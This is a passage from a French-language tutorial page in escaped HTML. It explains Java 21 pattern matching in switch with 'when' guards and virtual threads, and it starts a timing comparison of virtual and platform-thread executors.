&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;equalsIgnoreCase&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;YES&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;You got it&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;equalsIgnoreCase&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;NO&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Shame&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Sorry?&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Pour écrire plus proprement ce genre de &lt;em&gt;switch&lt;/em&gt;, JDK21 propose une clause &lt;em&gt;&lt;strong&gt;when&lt;/strong&gt;&lt;/em&gt; dans le &lt;em&gt;case&lt;/em&gt;, un peu comme suit : &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// As of Java 21&lt;/span&gt;
&lt;span class="kd"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;testStringNew&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;switch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;when&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;equalsIgnoreCase&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;YES&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;You got it&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;when&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;equalsIgnoreCase&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;NO&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Shame&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Sorry?&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Il est également possible de mélanger &lt;code&gt;null&lt;/code&gt; (&lt;em&gt;null label&lt;/em&gt;), &lt;em&gt;case constants&lt;/em&gt; et &lt;em&gt;case patterns&lt;/em&gt; dans un même switch, comme suit : &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// As of Java 21&lt;/span&gt;
&lt;span class="kd"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;testStringEnhanced&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;switch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;y&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Y&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;You got it&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;n&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;N&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Shame&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;when&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;equalsIgnoreCase&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;YES&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;You got it&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;when&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;equalsIgnoreCase&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;NO&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Shame&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Sorry?&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Pour aller plus loin (et retrouver ces exemples), consulter &lt;a href="https://openjdk.org/jeps/441"&gt;JEP 441&lt;/a&gt;. &lt;/p&gt;
&lt;h3&gt;Thread virtuel&lt;/h3&gt;
&lt;p&gt;Les threads virtuels (&lt;em&gt;virtual thread&lt;/em&gt;) ont été en &lt;em&gt;preview&lt;/em&gt; dans la JEP 4225 (JDK19) et JEP 436 (JDK20). Les &lt;em&gt;virtual threads&lt;/em&gt; sont des threads légers utilisant les threads de la plateforme. &lt;/p&gt;
&lt;p&gt;Là où les threads de plateforme sont plus lourds, coûteux, limités en nombre, les threads virtuels sont plus légers et peuvent être plus nombreux. Ils sont également non bloquant ; lorsque un thread virtuel bloque sur une I/O par exemple il se détache du thread OS auquel il est lié, le libérant pour un autre tâche. Il n&amp;rsquo;est pas nécessaire — c&amp;rsquo;est même une mauvaise idée — d&amp;rsquo;utiliser un &lt;em&gt;pool&lt;/em&gt; de threads pour les threads virtuels. C&amp;rsquo;est la &lt;em&gt;jvm&lt;/em&gt; (machine virtuelle  java, &lt;em&gt;java vritual machine&lt;/em&gt;) qui gère les threads. La jvm utilise &lt;em&gt;n&lt;/em&gt; threads OS pour y lancer &lt;em&gt;m&lt;/em&gt; threads virtuels. Ces threads OS sont également appelés &lt;em&gt;carrier threads&lt;/em&gt; puisqu&amp;rsquo;ils servent à « transporter » les threads virtuels. &lt;/p&gt;
&lt;p&gt;Testons…&lt;/p&gt;
&lt;p&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;10_000&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;// virtuals threads&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;before&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;currentTimeMillis&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;executor&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Executors&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;newVirtualThreadPerTaskExecutor&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;IntStream&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="na"&gt;forEach&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;executor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;submit&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;Thread&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Duration&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;ofSeconds&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;after&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;currentTimeMillis&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Elapsed time : &amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;after&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;before&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;

&lt;span class="c1"&gt;// threads OS (one thread per task)&lt;/span&gt;
&lt;span class="n"&gt;before&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;currentTimeMillis&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;executor&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Executors&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;newThreadPerTaskExecutor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;Executors&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;defaultThreadFactory&lt;/span&gt;&lt;span class="p"&gt;()))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;IntStream&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="na"&gt;forEach&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;executor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;submit&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;Thread&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Duration&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;ofSeconds&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;after&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;currentTimeMillis&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
